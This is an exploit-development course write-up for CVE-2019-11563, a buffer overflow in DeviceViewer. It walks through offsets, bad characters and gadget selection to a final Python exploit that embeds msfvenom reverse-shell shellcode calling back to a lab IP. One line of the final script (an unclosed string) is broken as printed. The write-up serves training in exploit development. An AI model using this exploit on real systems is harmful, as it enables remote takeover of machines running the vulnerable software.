DeviceViewer 3.12.0.1 (SEH Overwrite exploit)

This assignment was submitted by Michael Ross (@mprossau) as part of our Hands-on Exploit Development Course

Vulnerable Application

Exploit developed for DeviceViewer 3.12.0.1. Copy of vulnerable application obtained from Exploit-Db

Replicating the crash

CVE-2019-11563 noted as the target vulnerability. The CVE has a description of ‘Shenzhen Sricctv DeviceViewer for XP has a Buffer Overflow via the username field on the initial login form’. Initial proof of concept code (POC) used to generate the username value is below. POC allows for length of username to be extended until the vulnerability is triggered.

total_length = 3500
payload = ''
payload += 'A' * (total_length-len(payload))
f = open('viewer.txt', 'w')
f.write(payload)
f.close()

Attempting to login with a username of 3500 A values successfully overwrites the SEH & nSEH pointer.

When this is triggered EAX and EDI registers are set to A valus (hex for x41). Once the exception is passed back to the program (Shift-F9 in Immunity debugger) the EIP register is successfully overwritten. This confirms that the overwritten SEH value is copied back to the program.

Finding the offset

As a next step the buffer offset which overwrites the identified pointers needs to be confirmed. This is done to confirm where code needs to be replaced to manipulate program execution. To compare different techniques this was done manually using msf-pattern_create and using the functionality in monya.py.

Using msf-pattern_create

Msf pattern create was used to create a unique string of 3500 bytes. This was used as a username value when logging into the program. Resulting SEH pointers are shown below:

Searching for each of the identified addresses using msf pattern offset provides the positions.

root@kali2019:~# msf-pattern_offset -l 3500 -q 6A413969
[*] Exact match at offset 268
root@kali2019:~# msf-pattern_offset -l 3500 -q 41386941
[*] Exact match at offset 264

Using mona.py

Commands from https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/ were used to complete this step.

  • !mona config -set workingfolder c:\exploit\%p
  • !mona pattern_create 3500 Pattern created then used as username when logging into the application. Results of !mona findmsp command are below.
<SNIP>
Log data, item 40
Address=0BADF00D
Message= SEH record (nseh field) at 0x001eeec4 overwritten with normal pattern : 0x41386941 (offset 264), followed by 3228 bytes of cyclic data after the handler
<SNIP>

This confirms that both the and next structured exception handler (nSEH – offset 264) structured exception handler (SEH – offset 268) can the overwritten and the offset values for these.

Validating offsets

Proof of concept code updated to validate the identified offsets. New proof of concept code noted below.

total_length = 3500
payload = ''
payload += 'A' * 264
payload += 'B' * 4
payload += 'C' * 4
payload += 'D' * (total_length-len(payload))
f = open('viewer.txt', 'w')
f.write(payload)
f.close()

Using the POC output against the application triggers the below values in the SEH chain. This confirms the nSEH value was correctly overwritten by Bs and the SEH value was overwritten by Cs.

Identifying bad characters

Done manually

POC was updated to send normal list of bad characters ahead of the ‘D’ values. 0x00 initially assumed as bad character so was removed from the initial set. Given the malicious input is submitted as ASCII 0x0A & x0D were also assumed as bad characters. These are codes for carriage return and line feed, so would normally be bad characters for.

First run (253 bad characters submitted)

Triggering the exploit with 253 bad characters reveals the below in the dump.

0034F03C 01 02 03 04 05 06 07 08
0034F044 09 0B 0C 0E 0F 10 11 12
0034F04C 13 14 15 16 17 18 19 1A
0034F054 1B 1C 1D 1E 1F 20 21 22 - !"
0034F05C 23 24 25 26 27 28 29 2A #$%&'()*
0034F064 2B 2C 2D 2E 2F 30 31 32 +,-./012
0034F06C 33 34 35 36 37 38 39 3A 3456789:
0034F074 3B 3C 3D 3E 3F 40 41 42 ;<=>?@AB
0034F07C 43 44 45 46 47 48 49 4A CDEFGHIJ
0034F084 4B 4C 4D 4E 4F 50 51 52 KLMNOPQR
0034F08C 53 54 55 56 57 58 59 5A STUVWXYZ
0034F094 5B 5C 5D 5E 5F 60 61 62 [\]^_`ab
0034F09C 63 64 65 66 67 68 69 6A cdefghij
0034F0A4 6B 6C 6D 6E 6F 70 71 72 klmnopqr
0034F0AC 73 74 75 76 77 78 79 7A stuvwxyz
0034F0B4 7B 7C 7D 7E 7F 80 81 82 {|}~€•‚
0034F0BC 83 84 85 86 87 88 89 8A ƒ„…†‡ˆ‰Š
0034F0C4 8B 8C 8D 8E 8F 90 91 92 ‹OE•Ž‘’
0034F0CC 93 94 95 96 97 98 99 9A “”•–—˜™š
0034F0D4 9B 9C 9D 9E 9F A0 A1 A2 ›oe•žŸ ¡¢
0034F0DC A3 A4 A5 A6 A7 A8 A9 AA £¤¥¦§¨©ª
0034F0E4 AB AC AD AE AF B0 B1 B2 «¬®¯°±²
0034F0EC B3 B4 B5 B6 B7 B8 B9 BA ³´μ¶·¸¹º
0034F0F4 BB BC BD BE BF C0 C1 C2 »¼½¾¿ÀÁÂ
0034F0FC C3 C4 C5 C6 C7 C8 C9 CA ÃÄÅÆÇÈÉÊ
0034F104 CB CC CD CE CF D0 D1 D2 ËÌÍÎÏÐÑÒ
0034F10C D3 D4 D5 D6 D7 D8 D9 DA ÓÔÕÖ×ØÙÚ
0034F114 DB DC DD DE DF E0 E1 E2 ÛÜÝÞßàáâ
0034F11C E3 E4 E5 E6 E7 E8 E9 EA ãäåæçèéê
0034F124 EB EC ED EE EF F0 F1 F2 ëìíîïðñò
0034F12C F3 F4 F5 F6 F7 F8 F9 FA óôõö÷øùú
0034F134 FB FC FD FE FF ûüýþÿ

Visual inspection suggests all characters submitted were successfully copied to the buffer.

Validating bad char with Mona

Identified bad characters were then validated using mona.py functionality. Commands run to generate a bytearray for comparison are:

  • !mona config -set workingfolder c:\exploit\%p
  • !mona bytearray -cpb “\x00\x0A\x0D” Byte array was then copied into the POC and exploit was re-triggered. Memory location containing bad characters was then manually located (0021ED74) using Mona. Mona was then used to examine the portion of memory against the generated bytearray.
  • !mona compare -f c:\exploit\DeviceViewer\bytearray.bin -a 0021ED74 Running the compare command then returns success. This confirms the only bad characters are 0x00, 0x0A, 0x0D.
Comparing with memory at location : 0x0021ed74 (Stack)
!!! Hooray, normal shellcode unmodified !!!
Bytes omitted from input: 00 0a 0d

Controlling the Execution

Given the target exploit type (SEH overwrite) a stable POP POP RET (or equivalent) instruction needs to be identified and placed into the SEH pointer. The nSEH value can then be overwritten with a short JMP command.

Assembly operation code for a short jump (EB08) confirmed using msf nasm shell.

root@kali2019:~# msf-nasm_shell
nasm > jmp $+10
00000000 EB08 jmp short 0xa
nasm >

System # 1 (Microsoft Windows 6.1.7601 Service Pack 1 Build 7601)

To improve exploit reliability a POP POP RET (or equivalent) instruction not affected by memory protection is the target. Mona used to identify suitable target instructions.

  • !mona seh -cpb “\x00\x0A\x0D” -cm aslr=false,rebase=false,safeseh=false Amended output of command is below. 0x6a0e6a60 chosen as the target address as it is common across both target platforms.
<SNIP> 
6A0E6A60 0x6a0e6a60 : pop esi # pop edi # ret | ascii {PAGE_EXECUTE_READ} [avcodec-54.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\DeviceViewer\avcodec-54.dll) 
6A0E6A86 0x6a0e6a86 : pop esi # pop edi # ret | {PAGE_EXECUTE_READ} [avcodec-54.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\DeviceViewer\avcodec-54.dll) 
6A0EFE08 0x6a0efe08 : pop esi # pop edi # ret | {PAGE_EXECUTE_READ} [avcodec-54.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\DeviceViewer\avcodec-54.dll) 
6A0F2672 0x6a0f2672 : pop esi # pop edi # ret | ascii {PAGE_EXECUTE_READ} [avcodec-54.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\DeviceViewer\avcodec-54.dll) 
6A0F26AB 0x6a0f26ab : pop esi # pop edi # ret | {PAGE_EXECUTE_READ} [avcodec-54.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\DeviceViewer\avcodec-54.dll)
<SNIP>

System # 2 (Microsoft Windows 5.1.2600 Service Pack 3 Build 2600)

To improve exploit reliability a POP POP RET (or equivalent) instruction not affected by memory protection is the target. Mona used to identify suitable target instructions.

  • !mona seh -cpb “\x00\x0A\x0D” -cm aslr=false,rebase=false,safeseh=false Amended output of command is below. Amended output of command is below. 0x6a0e6a60 chosen as the target address as it is common across both target platforms.
<SNIP> 
6A0E6A60 0x6a0e6a60 : pop esi # pop edi # ret | ascii {PAGE_EXECUTE_READ} [avcodec-54.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\DeviceViewer\avcodec-54.dll) 
6A0E6A86 0x6a0e6a86 : pop esi # pop edi # ret | {PAGE_EXECUTE_READ} [avcodec-54.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\DeviceViewer\avcodec-54.dll) 
6A0EFE08 0x6a0efe08 : pop esi # pop edi # ret | {PAGE_EXECUTE_READ} [avcodec-54.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\DeviceViewer\avcodec-54.dll) 
6A0F2672 0x6a0f2672 : pop esi # pop edi # ret | ascii {PAGE_EXECUTE_READ} [avcodec-54.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\DeviceViewer\avcodec-54.dll)
<SNIP>

Updated POC

POC then updated to the below:

from struct import pack
total_length = 3500
payload = ''
payload += 'A' * 264
payload += '\xEB\x08\x90\x90'
payload += pack('<L', 0x6a0e6a60)
payload += 'D' * (total_length-len(payload))
f = open('viewer.txt', 'w')
f.write(payload)
f.close()

POC initially failed to work against system # 1. System failed to execute the jmp short 0xa command. Analysis showed this was due to DEP memory protection introduced as part of Windows 7. Disabling DEP across the whole system allowed the exploit to function as expected.

POC worked as expected against system # 2. This would be due to the lack of DEP (or similar) protections in Windows XP.

Cracking the shell

Generating shellcode

Taking into account what’s been learnt reverse shellcode was generated using msfvenom (command: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.139.129 LPORT=5556 -b ‘\x00\x0A\x0D’ -f python). To address the bad character requirements msfvenom automatically encoded the payload using x86/shikata_ga_nai.

Updating the POC

POC was then updated to use the generated shellcode. Final POC used is below.

# Username field SEH overwrite exploit for Shenzhen Sricctv DeviceViewer
# Exploits CVE-2019-11563
# Tested against 5.1.2600 Service Pack 3 Build 2600 & 6.1.7601 Service Pack 1 Build 7601
# @mprossau
from struct import pack
total_length = 3500
# Shellcode generated using msfvenom -p windows/shell_reverse_tcp LHOST=192.168.139.129 LPORT=5556 -b '\x00\x0A\x0D' -f python
buf = ""
buf += "\xda\xc0\xd9\x74\x24\xf4\xbe\x43\xb6\x05\xf1\x5b\x29"
buf += "\xc9\xb1\x52\x31\x73\x17\x03\x73\x17\x83\xa8\x4a\xe7"
buf += "\x04\xd2\x5b\x6a\xe6\x2a\x9c\x0b\x6e\xcf\xad\x0b\x14"
buf += "\x84\x9e\xbb\x5e\xc8\x12\x37\x32\xf8\xa1\x35\x9b\x0f"
buf += "\x01\xf3\xfd\x3e\x92\xa8\x3e\x21\x10\xb3\x12\x81\x29"
buf += "\x7c\x67\xc0\x6e\x61\x8a\x90\x27\xed\x39\x04\x43\xbb"
buf += "\x81\xaf\x1f\x2d\x82\x4c\xd7\x4c\xa3\xc3\x63\x17\x63"
buf += "\xe2\xa0\x23\x2a\xfc\xa5\x0e\xe4\x77\x1d\xe4\xf7\x51"
buf += "\x6f\x05\x5b\x9c\x5f\xf4\xa5\xd9\x58\xe7\xd3\x13\x9b"
buf += "\x9a\xe3\xe0\xe1\x40\x61\xf2\x42\x02\xd1\xde\x73\xc7"
buf += "\x84\x95\x78\xac\xc3\xf1\x9c\x33\x07\x8a\x99\xb8\xa6"
buf += "\x5c\x28\xfa\x8c\x78\x70\x58\xac\xd9\xdc\x0f\xd1\x39"
buf += "\xbf\xf0\x77\x32\x52\xe4\x05\x19\x3b\xc9\x27\xa1\xbb"
buf += "\x45\x3f\xd2\x89\xca\xeb\x7c\xa2\x83\x35\x7b\xc5\xb9"
buf += "\x82\x13\x38\x42\xf3\x3a\xff\x16\xa3\x54\xd6\x16\x28"
buf += "\xa4\xd7\xc2\xff\xf4\x77\xbd\xbf\xa4\x37\x6d\x28\xae"
buf += "\xb7\x52\x48\xd1\x1d\xfb\xe3\x28\xf6\xc4\x5c\xb9\x87"
buf += "\xad\x9e\xbd\x92\x99\x16\x5b\xf6\xf1\x7e\xf4\x6f\x6b"
buf += "\xdb\x8e\x0e\x74\xf1\xeb\x11\xfe\xf6\x0c\xdf\xf7\x73"
buf += "\x1e\x88\xf7\xc9\x7c\x1f\x07\xe4\xe8\xc3\x9a\x63\xe8"
buf += "\x8a\x86\x3b\xbf\xdb\x79\x32\x55\xf6\x20\xec\x4b\x0b"
buf += "\xb4\xd7\xcf\xd0\x05\xd9\xce\x95\x32\xfd\xc0\x63\xba"
buf += "\xb9\xb4\x3b\xed\x17\x62\xfa\x47\xd6\xdc\x54\x3b\xb0"
buf += "\x88\x21\x77\x03\xce\x2d\x52\xf5\x2e\x9f\x0b\x40\x51"
buf += "\x10\xdc\x44\x2a\x4c\x7c\xaa\xe1\xd4\x8c\xe1\xab\x7d"
buf += "\x05\xac\x3e\x3c\x48\x4f\x95\x03\x75\xcc\x1f\xfc\x82"
buf += "\xcc\x6a\xf9\xcf\x4a\x87\x73\x5f\x3f\xa7\x20\x60\x6a"

payload = "
payload += 'A' * 264
payload += '\xEB\x08\x90\x90'
# Return address of 0x6a0e6a60 is common across both platforms
payload += pack('<L', 0x6a0e6a60)
payload += '\x90' * 16
payload += buf
payload += 'D' * (total_length-len(payload))
f = open('viewer.txt', 'w')
f.write(payload)
f.close()

Obtaining shell on system # 1

Shell was then obtained on remote system using the prepared exploit. Confirmation of shell obtained is shown below.

Obtaining shell on system # 2

Shell was then obtained on remote system using the prepared exploit. Confirmation of shell obtained is shown below.

Written on June 24, 2019